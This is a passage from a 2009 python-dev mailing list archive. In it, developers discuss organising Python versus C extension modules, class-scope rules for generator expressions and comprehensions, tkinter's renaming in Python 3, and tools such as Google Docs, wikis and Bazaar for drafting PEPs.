extension modules, I don't see anything wrong with Daniel's suggested approach. Note also that with this approach _io.__all__ will give the details of what has been overridden by the extension module, so it even still provides a decent level of introspection support. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From daniel at stutzbachenterprises.com Sat Feb 21 00:40:08 2009 From: daniel at stutzbachenterprises.com (Daniel Stutzbach) Date: Fri, 20 Feb 2009 17:40:08 -0600 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <499F3C5B.2010704@gmail.com> References: <20090220205329.GA9829@panix.com> <499F3C5B.2010704@gmail.com> Message-ID: On Fri, Feb 20, 2009 at 5:27 PM, Nick Coghlan wrote: > Brett Cannon wrote: > > If you import pickle and call pickle.A() you will get -13 which is not > > what you are after. > > Ah, you may want to think about that a bit more. There's a reason > globals are looked up when they're used rather than when their function > is defined. Even in your own example, _B isn't defined at all when you > define A. > No, I'm afraid Brett is quite right. Globals are looked up when the function is executed, true, but they are looked up within the module that defined the function. Functions defined in _pypickle would only call the _pypickle version of functions. -- Daniel Stutzbach, Ph.D. President, Stutzbach Enterprises, LLC -------------- next part -------------- An HTML attachment was scrubbed... URL: From ncoghlan at gmail.com Sat Feb 21 00:54:03 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 21 Feb 2009 09:54:03 +1000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090220205329.GA9829@panix.com> <499F3C5B.2010704@gmail.com> Message-ID: <499F429B.3020500@gmail.com> Daniel Stutzbach wrote: > On Fri, Feb 20, 2009 at 5:27 PM, Nick Coghlan > wrote: > > Brett Cannon wrote: > > If you import pickle and call pickle.A() you will get -13 which is not > > what you are after. > > Ah, you may want to think about that a bit more. There's a reason > globals are looked up when they're used rather than when their function > is defined. Even in your own example, _B isn't defined at all when you > define A. > > > No, I'm afraid Brett is quite right. Globals are looked up when the > function is executed, true, but they are looked up within the module > that defined the function. Functions defined in _pypickle would only > call the _pypickle version of functions. Oh, I see what you mean now. Looks like Brett's tracked substitution may be the way to go then. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From josiah.carlson at gmail.com Sat Feb 21 01:18:05 2009 From: josiah.carlson at gmail.com (Josiah Carlson) Date: Fri, 20 Feb 2009 16:18:05 -0800 Subject: [Python-Dev] Seeming unintended difference between list comprehensions and generator expressions... In-Reply-To: <499F395E.5010202@gmail.com> References: <499F395E.5010202@gmail.com> Message-ID: On Fri, Feb 20, 2009 at 3:14 PM, Nick Coghlan wrote: > Josiah Carlson wrote: >> The behavior of 3.0 WRT list comprehensions behaving the same way as >> generator expressions is expected, but why generator expressions >> (generally) don't keep a reference to the class scope during execution >> seems to be unintended. > > It's intended. While arguably not ideal, it would require some pretty > major changes to the lexical scoping rules to make them behave any > differently. > > The translation of (i*i for i in x) is conceptually along the lines of: > > def _ge(arg): > for i in arg: > yield i*i > > = _ge(x) > > Similarly, a 3.x list comprehension [i*i for i in x] is very roughly > translated as: > > def _lc(arg): > result = [] > for i in arg: > result.append(i*i) > return result > > = _lc(x) I was under the impression that in 3.x, it was equivalent to list() . Which would explain the difference between 2.6 and 3.0. > Like any function scope inside a class namespace, the body of a genexp > (and, in 3.x, comprehension) doesn't have direct access to the class > namespace because classes don't play any part in the lexical scoping rules. Indeed, though I had thought (if only briefly ;) ) that when executing non-definitions in the class body, it would behave similar to the a more or less equivalent function-based class factory >>> def make_class(*bases): ... def make_class(fcn): ... dict = fcn() ... return type(object)(fcn.__name__, bases, dict) ... return make_class ... >>> @make_class(object) ... def foo(): ... x = {} ... x.update((i, x.get(i, None)) for i in xrange(10)) ... return locals() ... >>> foo >>> foo.x {0: None, 1: None, 2: None, 3: None, 4: None, 5: None, 6: None, 7: None, 8: None, 9: None} >>> But I was wrong ;) Thank you for the help :) - Josiah > Basically, if a generator or 3.x comprehension needs access to a value > from a containing class scope anywhere other than the outermost > iterator, then it needs to be put into a temporary function and given > the extra value as an argument: > > .>> class C: > ... x = {} > ... def _init_constants(d, itr): > ... d.update((i, d.get(i, None)) for i in itr) > ... _init_constants(x, range(10)) > ... del _init_constants > ... > .>> C.x > {0: None, 1: None, 2: None, 3: None, 4: None, 5: None, 6: None, 7: None, > 8: None, 9: None} > > (in this toy case, of course, it would be simpler to make the temporary > function create and return the constants dictionary, but the above > approach with multiple arguments being passed in applies more generally > when you need to access multiple existing values from the class scope) > > Cheers, > Nick. > > -- > Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia > --------------------------------------------------------------- > From steve at pearwood.info Sat Feb 21 01:23:38 2009 From: steve at pearwood.info (Steven D'Aprano) Date: Sat, 21 Feb 2009 11:23:38 +1100 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: <499F1D65.6070904@canterbury.ac.nz> References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> <499E4107.3040500@pearwood.info> <499F1D65.6070904@canterbury.ac.nz> Message-ID: <499F498A.6060904@pearwood.info> Greg Ewing wrote: > Instead of defining things directly in foo.py, maybe it > should do > > try: > from cFoo import * > except ImportError: > from pyFoo import * > > Then the fast path will be taken if cFoo is available, > and you can directly import cFoo or pyFoo if you want. For what it's worth, I like that naming convention better than the current conventions Foo/cFoo, Foo/_Foo. -- Steven From ncoghlan at gmail.com Sat Feb 21 01:35:20 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 21 Feb 2009 10:35:20 +1000 Subject: [Python-Dev] Seeming unintended difference between list comprehensions and generator expressions... In-Reply-To: References: <499F395E.5010202@gmail.com> Message-ID: <499F4C48.2060509@gmail.com> Josiah Carlson wrote: >> Similarly, a 3.x list comprehension [i*i for i in x] is very roughly >> translated as: >> >> def _lc(arg): >> result = [] >> for i in arg: >> result.append(i*i) >> return result >> >> = _lc(x) > > I was under the impression that in 3.x, it was equivalent to > list() . Which would explain the difference between 2.6 and > 3.0. Semantically, the two translations end up being the same. Actually *implementing* it that way turned out to be unnecessarily slow: the comprehensions instead create a normal function that builds the desired type of object (list/set/dict) incrementally rather than building a generator function and invoking it. The speed increase comes from being able to skip the generator resume/yield overhead on each iteration. >> Like any function scope inside a class namespace, the body of a genexp >> (and, in 3.x, comprehension) doesn't have direct access to the class >> namespace because classes don't play any part in the lexical scoping rules. > > Indeed, though I had thought (if only briefly ;) ) that when executing > non-definitions in the class body, it would behave similar to the a > more or less equivalent function-based class factory I think there may be a section of the language reference that describes it in those terms. If there is, it should probably be changed, since it gives misleading ideas about how the scoping works. Execution of a class body is actually a bit more like using an exec statement than it is like an implicit function definition. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From cournape at gmail.com Sat Feb 21 03:04:00 2009 From: cournape at gmail.com (David Cournapeau) Date: Sat, 21 Feb 2009 11:04:00 +0900 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> Message-ID: <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> On Sat, Feb 21, 2009 at 6:21 AM, Barry Warsaw wrote: > Adam Olsen reminds me that bzr 1.9 won't be supported by default in Ubuntu > until Jaunty in April and Thomas reminds me that Debian still just has 1.5. > > In both those cases, you can use the PPA: > > https://launchpad.net/~bzr/+archive/ppa Please note that for many people in a corporate/university environment, this is not an option. Granted, you can install it by yourself at this point, David From stephen at xemacs.org Sat Feb 21 04:56:22 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Sat, 21 Feb 2009 12:56:22 +0900 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: <87eixs5tp5.fsf@xemacs.org> Summary: Google Docs is easy to use, featureful, and here now. Since AIUI the PEPs eventually need to be hosted at python.org, I see Google Docs as an immediate replacement for email transmission of early drafts of PEPs, not as a permanent solution to PEP storage. William Dode writes: > Isn't it the good oportunity to try a DVCS ? I thought about that (and if I agreed I wouldn't have posted), but there are reasons why Guido is "looking forward to" rather than "calling for volunteers". ISTM that a DVCS is just a wiki where you can't find stuff unless you're told where it is. It will take time. What Google Docs provided for me was an infrastructure that accomplished several useful services automatically, and stayed out of my face (except for the lack of pruning of uninteresting revisions). IMO the features we want are (1) a permanent, easily computed URN for the draft document repo -- DVCS can do this, with straightforward support from python.org -- wiki can do this as a convention such as reserving PEP_0374 for final doc with PEP_0374_draft for development (2) editor control over access to individual documents -- AFAIK there's no mechanism for this at python.org, so to use a DVCS would require developing one -- no mechanism for this in most wikis AFAIK (but ZWiki can do it) -- it could be argued that the current convention of people staying out of each others' space would work, but what about non-committers (like me)? (3) automatic merging of concurrent work -- DVCS does this, but needs to be pushed afterward -- most wikis can't do this in the framework of a single document, but you could organize the doc by sections for drafting (4) automatic saves of intermediate work -- at the tweak stage, the effort to save, commit, and push to a DVCS outweighs the effort to tweak, costing a lot of polish IME -- wikis don't do this, and I wonder whether people would be willing to save unpolished work, or leave it sitting in the browser "until later" (5) a recorded out of band channel for the editors (when plural) to comment -- "XXX" can work but when it's scutwork (eg, researching URLs or reworking sections to have parallel organization) it's ugly and distracting for non-editors to read; DVCS by itself provides no such medium, one would need to be developed -- ditto wikis (although Wikipedia has its linked discussion channels, and this could be emulated on any wiki by a convention such as PEP_0374_talk, which would have the advantage that interested non-editors could look at the comments and contribute URLs and ideas, etc) -- for non-trivial work, mail/IRC doesn't really cut it; you're more likely to make the indicated tweak if you're working on the document anyway, mail/IRC is likely to be focused elsewhere and the cost of changing focus too high to do it *now* (1) and (2) are obvious, I think, and I don't know how much (3) really matters when the editors are a small group. But I was surprised by how much (4), and (5) contributed to my experience working on PEP 0374. Maybe Brett, Barry, or Alexandre would like to comment? I note that the FSF had a rather complex system for its collaborative development of 3d generation licenses. I don't think that's necessary for most PEPs. From greg.ewing at canterbury.ac.nz Sat Feb 21 06:14:39 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 21 Feb 2009 18:14:39 +1300 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090220205329.GA9829@panix.com> <499F3C5B.2010704@gmail.com> Message-ID: <499F8DBF.3010303@canterbury.ac.nz> Daniel Stutzbach wrote: > No, I'm afraid Brett is quite right. Globals are looked up when the > function is executed, true, but they are looked up within the module > that defined the function. I was thinking you could fix that by going over the imported functions and stuffing the current globals into their func_globals, but unfortunately it's read-only. :-( >>> f.func_globals = g Traceback (most recent call last): File "", line 1, in TypeError: readonly attribute Is there a reason it couldn't be made writeable? -- Greg From rdmurray at bitdance.com Sat Feb 21 06:26:46 2009 From: rdmurray at bitdance.com (rdmurray at bitdance.com) Date: Sat, 21 Feb 2009 00:26:46 -0500 (EST) Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: <87eixs5tp5.fsf@xemacs.org> References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> Message-ID: On Sat, 21 Feb 2009 at 12:56, Stephen J. Turnbull wrote: > (4) automatic saves of intermediate work > -- at the tweak stage, the effort to save, commit, and push to a > DVCS outweighs the effort to tweak, costing a lot of polish IME > -- wikis don't do this, and I wonder whether people would be > willing to save unpolished work, or leave it sitting in the > browser "until later" Not that I'm expecting to be working on PEPs any time soon, but just as a different perspective, I would find the effort to open up Google docs to be a much higher barrier to doing some editing tweaks than the dvcs case. For the DVCS, I'd just write a little script that would (1) update (2) open the editor on the file (3) do the commit/push dance when the file was closed. So for me it would be as easy as editing the file locally. So for my work style, a DVCS would be the biggest win. --RDM From hall.jeff at gmail.com Sat Feb 21 07:12:02 2009 From: hall.jeff at gmail.com (Jeff Hall) Date: Sat, 21 Feb 2009 01:12:02 -0500 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> Message-ID: <1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com> > Not that I'm expecting to be working on PEPs any time soon, but just as a > different perspective, I would find the effort to open up Google docs to > be a much higher barrier to doing some editing tweaks than the dvcs case. > For the DVCS, I'd just write a little script that would (1) update (2) > open the editor on the file (3) do the commit/push dance when the file > was closed. So for me it would be as easy as editing the file locally. > > So for my work style, a DVCS would be the biggest win. > > --RDM That's funny because I would expect that for most people it's the exact opposite... just create a gmail account... boom, done... I'm not necessarily advocating that but just saying that IMO, most people will find google docs to be the "fastest" and "easiest" solution. -- Haikus are easy Most make very little sense Refrigerator -------------- next part -------------- An HTML attachment was scrubbed... URL: From stephen at xemacs.org Sat Feb 21 07:52:03 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Sat, 21 Feb 2009 15:52:03 +0900 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> Message-ID: <878wo05lkc.fsf@xemacs.org> David Cournapeau writes: > On Sat, Feb 21, 2009 at 6:21 AM, Barry Warsaw wrote: > > In both those cases, you can use the PPA: > Please note that for many people in a corporate/university > environment, this is not an option. Granted, you can install it by > yourself at this point, Er, what are people without access to PPAs doing building Python from a VCS checkout? Surely this is not a problem. From cournape at gmail.com Sat Feb 21 08:37:18 2009 From: cournape at gmail.com (David Cournapeau) Date: Sat, 21 Feb 2009 16:37:18 +0900 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <878wo05lkc.fsf@xemacs.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> Message-ID: <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> On Sat, Feb 21, 2009 at 3:52 PM, Stephen J. Turnbull wrote: > David Cournapeau writes: > > On Sat, Feb 21, 2009 at 6:21 AM, Barry Warsaw wrote: > > > > In both those cases, you can use the PPA: > > > Please note that for many people in a corporate/university > > environment, this is not an option. Granted, you can install it by > > yourself at this point, > > Er, what are people without access to PPAs doing building Python from > a VCS checkout? I don't see the link between access to PPA and building Python from sources. I don't have administration privileges on any of my machine at work. Adding PPA is simply not allowed at some places (PPA or anything else which is not considered 'safe'), or too much of a (bureaucratic) burden. cheers, David From stephen at xemacs.org Sat Feb 21 10:05:06 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Sat, 21 Feb 2009 18:05:06 +0900 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> Message-ID: <874oyo5fel.fsf@xemacs.org> David Cournapeau writes: > > Er, what are people without access to PPAs doing building Python from > > a VCS checkout? > > I don't see the link between access to PPA and building Python from > sources. I didn't say "from source", I said "from a VCS checkout". If using a *specific* recent official release of a core tool is bureaucratically infeasible, it would IMO be very unusual if you're allowed to checkout and build arbitrary versions of Python, rather than using a version provided by your bureaucrats. The number of people whose job is *specifically* developing Python, or developing code that depends on bleeding-edge Python, in such an environment is surely very small. From wilk at flibuste.net Sat Feb 21 10:43:41 2009 From: wilk at flibuste.net (William Dode) Date: Sat, 21 Feb 2009 09:43:41 +0000 (UTC) Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> Message-ID: On 21-02-2009, Stephen J. Turnbull wrote: > Summary: > > Google Docs is easy to use, featureful, and here now. Since AIUI the > PEPs eventually need to be hosted at python.org, I see Google Docs as > an immediate replacement for email transmission of early drafts of > PEPs, not as a permanent solution to PEP storage. > > William Dode writes: > > > Isn't it the good oportunity to try a DVCS ? My point was more to try a DVCS to give food to the 374e pep than to resolv the issues you mention. -- William Dod? - http://flibuste.net Informaticien Ind?pendant From martin at v.loewis.de Sat Feb 21 10:57:04 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 21 Feb 2009 10:57:04 +0100 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <874oyo5fel.fsf@xemacs.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> Message-ID: <499FCFF0.6060405@v.loewis.de> > I didn't say "from source", I said "from a VCS checkout". If using a > *specific* recent official release of a core tool is bureaucratically > infeasible, it would IMO be very unusual if you're allowed to checkout > and build arbitrary versions of Python, rather than using a version > provided by your bureaucrats. > > The number of people whose job is *specifically* developing Python, or > developing code that depends on bleeding-edge Python, in such an > environment is surely very small. This completely contradicts with my experience. In a university environment, students regularly check out software from the source repository, modify it, and build it, just to learn something by doing so. Yet, in such an environment, they have little control over their systems - they cannot install software themselves, but have to ask the university bureaucrats (which often reject such wishes, unless they come from a teacher - and often even in that case). There is no problem with people building their own versions of Python, though - they do so in their home directories, and OS security mechanisms prevent them from doing harm to other users. Regards, Martin From asmodai at in-nomine.org Sat Feb 21 11:37:09 2009 From: asmodai at in-nomine.org (Jeroen Ruigrok van der Werven) Date: Sat, 21 Feb 2009 11:37:09 +0100 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: <20090221103709.GC22408@nexus.in-nomine.org> -On [20090220 18:51], Guido van Rossum (guido at python.org) wrote: >I still don't like wikis for this purpose very much -- a person >editing effectively grabs a lock on the whole file. Imagine a Wiki with a cross-polination of Etherpad [1], that would resolve that complaint. [1] http://etherpad.com/ -- Jeroen Ruigrok van der Werven / asmodai ????? ?????? ??? ?? ?????? http://www.in-nomine.org/ | http://www.rangaku.org/ | GPG: 2EAC625B Earth to earth, ashes to ashes, dust to dust... From kgmuller at xs4all.nl Sat Feb 21 11:47:04 2009 From: kgmuller at xs4all.nl (=?iso-8859-1?Q?Klaus_M=FCller?=) Date: Sat, 21 Feb 2009 11:47:04 +0100 Subject: [Python-Dev] Tkinter problem in Python 3 Message-ID: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster> Hi! I am the lead developer of SimPy (http://simpy.sourceforge.net) . Currently, I am porting SimPy to Python 3. SimPy provides Tk/Tkinter-based GUI and plot facilities. I find that "import Tkinter" does not work in Python 3, only "import tkinter". What are the changes for Tkinter under Python 3? Thanks for your help! Klaus M?ller -------------- next part -------------- An HTML attachment was scrubbed... URL: From ggpolo at gmail.com Sat Feb 21 12:19:10 2009 From: ggpolo at gmail.com (Guilherme Polo) Date: Sat, 21 Feb 2009 08:19:10 -0300 Subject: [Python-Dev] Tkinter problem in Python 3 In-Reply-To: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster> References: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster> Message-ID: On Sat, Feb 21, 2009 at 7:47 AM, Klaus M?ller wrote: > Hi! > I am the lead developer of SimPy (http://simpy.sourceforge.net) . Currently, > I am porting SimPy to Python 3. > > SimPy provides Tk/Tkinter-based GUI and plot facilities. > > I find that "import Tkinter" does not work in Python 3, only "import > tkinter". > > What are the changes for Tkinter under Python 3? > Tkinter lives in a real package now, named "tkinter". Besides that it hasn't changed much, but this list is inappropriate for this, may I ask you to move the questions related to tkinter to the tkinter-discuss list ? > Thanks for your help! > > Klaus M?ller Regards, -- -- Guilherme H. Polo Goncalves From qgallet at gmail.com Sat Feb 21 12:19:43 2009 From: qgallet at gmail.com (Quentin Gallet-Gilles) Date: Sat, 21 Feb 2009 12:19:43 +0100 Subject: [Python-Dev] Tkinter problem in Python 3 In-Reply-To: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster> References: <1F20E4AB3BFD482487937BBC4A08097E@VistaMonster> Message-ID: <8b943f2b0902210319w3f2fbbedmc0af29e64a278c8e@mail.gmail.com> Hi Klaus, Tkinter was renamed as part of the stdlib reorganization (see the PEP 3108 :http://www.python.org/dev/peps/pep-3108/#tkinter-packagefor more details). The 2to3 tool should handle all those changes automatically, by the way. Cheers, Quentin On Sat, Feb 21, 2009 at 11:47 AM, Klaus M?ller wrote: > Hi! > I am the lead developer of SimPy (http://simpy.sourceforge.net) . > Currently, I am porting SimPy to Python 3. > > SimPy provides Tk/Tkinter-based GUI and plot facilities. > > I find that "import Tkinter" does not work in Python 3, only "import > tkinter". > > What are the changes for Tkinter under Python 3? > > Thanks for your help! > > Klaus M?ller > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/qgallet%40gmail.com > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From stephen at xemacs.org Sat Feb 21 13:15:25 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Sat, 21 Feb 2009 21:15:25 +0900 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <499FCFF0.6060405@v.loewis.de> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> Message-ID: <873ae856le.fsf@xemacs.org> "Martin v. L?wis" writes: > sjt sez: > > I didn't say "from source", I said "from a VCS checkout". If using a > > *specific* recent official release of a core tool is bureaucratically > > infeasible, it would IMO be very unusual if you're allowed to checkout > > and build arbitrary versions of Python, rather than using a version > > provided by your bureaucrats. > > > > The number of people whose job is *specifically* developing Python, or > > developing code that depends on bleeding-edge Python, in such an > > environment is surely very small. > This completely contradicts with my experience. In a university > environment, students regularly check out software from the source > repository, modify it, and build it, just to learn something by doing > so. You're ignoring the second paragraph quoted above. I'm *not* denying that such environments are common. The question is "Do developers *restricted to such environments* really have an impact on Python development to outweigh the real cost of standardizing on an older implementation of Bazaar to developers who would be able to use a more capable version?" I find it hard to believe that it would be so; Bazaar performance on a lot of measures was pretty poor in v1.5. I also find it hard to believe that there are very many serious developers who only have access to a school lab or who are misusing corporate resources to develop Python.[1] Nor does this problem exist with Mercurial or git; both of those have more than adequate performance for basic operations with whatever- version-is-in-Debian-lenny (git 1.5.6 and Mercurial 1.0.1). So I don't see much harm to come from letting Bazaar at least put forward its nice shiny new shoes. Unless the Barry feels that that would be a risk to Bazaar's acceptability in the end. He apparently doesn't think so, though; rather that the improved performance and capabilities of recent bzr will make it more attractive to the great majority of Python developers than an older (more "democratic") bzr would be. Besides, if Barry makes this experiment *now* and enough people speak up that it will make it difficult for them to contribute to Python, the Bazaar proponents can revert to an older version of Bazaar before a final decision is made. Footnotes: [1] If it's their job to do so, and Python requires 1.12 to check out and push to the official sources, won't their bosses push to get the 1.12 PPA approved? I would estimate at least 6 months lead time before the SVN repo is decommissioned, maybe longer if it's maintained as a mirror for a while. That should be enough time to get *that specific revision* (*not* arbitrary installations!) approved. From p.f.moore at gmail.com Sat Feb 21 14:11:10 2009 From: p.f.moore at gmail.com (Paul Moore) Date: Sat, 21 Feb 2009 13:11:10 +0000 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <873ae856le.fsf@xemacs.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> Message-ID: <79990c6b0902210511q4da43fadm410f411551168a1b@mail.gmail.com> 2009/2/21 Stephen J. Turnbull : > Besides, if Barry makes this experiment *now* and enough people speak > up that it will make it difficult for them to contribute to Python, > the Bazaar proponents can revert to an older version of Bazaar before > a final decision is made. In addition, I think it's an interesting experiment in its own right - are the actions required to allow Bazaar to provide comparable performance to the other contenders, acceptable to the Python development community? Paul From rdmurray at bitdance.com Sat Feb 21 15:25:14 2009 From: rdmurray at bitdance.com (rdmurray at bitdance.com) Date: Sat, 21 Feb 2009 09:25:14 -0500 (EST) Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: <1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com> References: <499C6E00.2030602@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> <1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com> Message-ID: On Sat, 21 Feb 2009 at 01:12, Jeff Hall wrote: >> Not that I'm expecting to be working on PEPs any time soon, but just as a >> different perspective, I would find the effort to open up Google docs to >> be a much higher barrier to doing some editing tweaks than the dvcs case. >> For the DVCS, I'd just write a little script that would (1) update (2) >> open the editor on the file (3) do the commit/push dance when the file >> was closed. So for me it would be as easy as editing the file locally. >> >> So for my work style, a DVCS would be the biggest win. >> >> --RDM > > That's funny because I would expect that for most people it's the exact > opposite... just create a gmail account... boom, done... I'm not necessarily > advocating that but just saying that IMO, most people will find google docs > to be the "fastest" and "easiest" solution. The ease of creating a gmail account has nothing to do with the point to which I was responding (context which is lost from your reply). That's setup. I was responding to a point talking about in-the-moment workflow. A browser and a GUI javascript program are slower than a unix command line based editor such as vim or emacs both to open up and to use. Thus for me, by using a script to automate the part that the OP suggested would slow the dvcs user down (the update/commit/push cycle), I make the dvcs in-the-moment workflow much faster _for me_ than Google Docs. As I said it's a matter of personal style. Some people _will_ find Google Docs easier and more productive than a dvcs. My point was that not all people will. --RDM From guido at python.org Sat Feb 21 17:36:09 2009 From: guido at python.org (Guido van Rossum) Date: Sat, 21 Feb 2009 08:36:09 -0800 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> <1bc395c10902202212l236761ar42a1bbc8a8ed3a@mail.gmail.com> Message-ID: On Sat, Feb 21, 2009 at 6:25 AM, wrote: > On Sat, 21 Feb 2009 at 01:12, Jeff Hall wrote: >>> >>> Not that I'm expecting to be working on PEPs any time soon, but just as a >>> different perspective, I would find the effort to open up Google docs to >>> be a much higher barrier to doing some editing tweaks than the dvcs case. >>> For the DVCS, I'd just write a little script that would (1) update (2) >>> open the editor on the file (3) do the commit/push dance when the file >>> was closed. So for me it would be as easy as editing the file locally. >>> >>> So for my work style, a DVCS would be the biggest win. >>> >>> --RDM >> >> That's funny because I would expect that for most people it's the exact >> opposite... just create a gmail account... boom, done... I'm not >> necessarily >> advocating that but just saying that IMO, most people will find google >> docs >> to be the "fastest" and "easiest" solution. > > The ease of creating a gmail account has nothing to do with the point > to which I was responding (context which is lost from your reply). > That's setup. I was responding to a point talking about in-the-moment > workflow. A browser and a GUI javascript program are slower than a unix > command line based editor such as vim or emacs both to open up and to use. > Thus for me, by using a script to automate the part that the OP suggested > would slow the dvcs user down (the update/commit/push cycle), I make > the dvcs in-the-moment workflow much faster _for me_ than Google Docs. > > As I said it's a matter of personal style. Some people _will_ find > Google Docs easier and more productive than a dvcs. My point was that > not all people will. That's a discussion that can never come to a decent conclusion. We will never find a solution that works for *everyone*, and IMO we don't need to bend over backwards to try. I don't doubt for a second that for *most* people the barrier to using Google Docs is less than the barrier to using a DVCS, even if when you take a sampling of hard core open source developers that might not be so clear-cut. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From martin at v.loewis.de Sat Feb 21 18:17:45 2009 From: martin at v.loewis.de 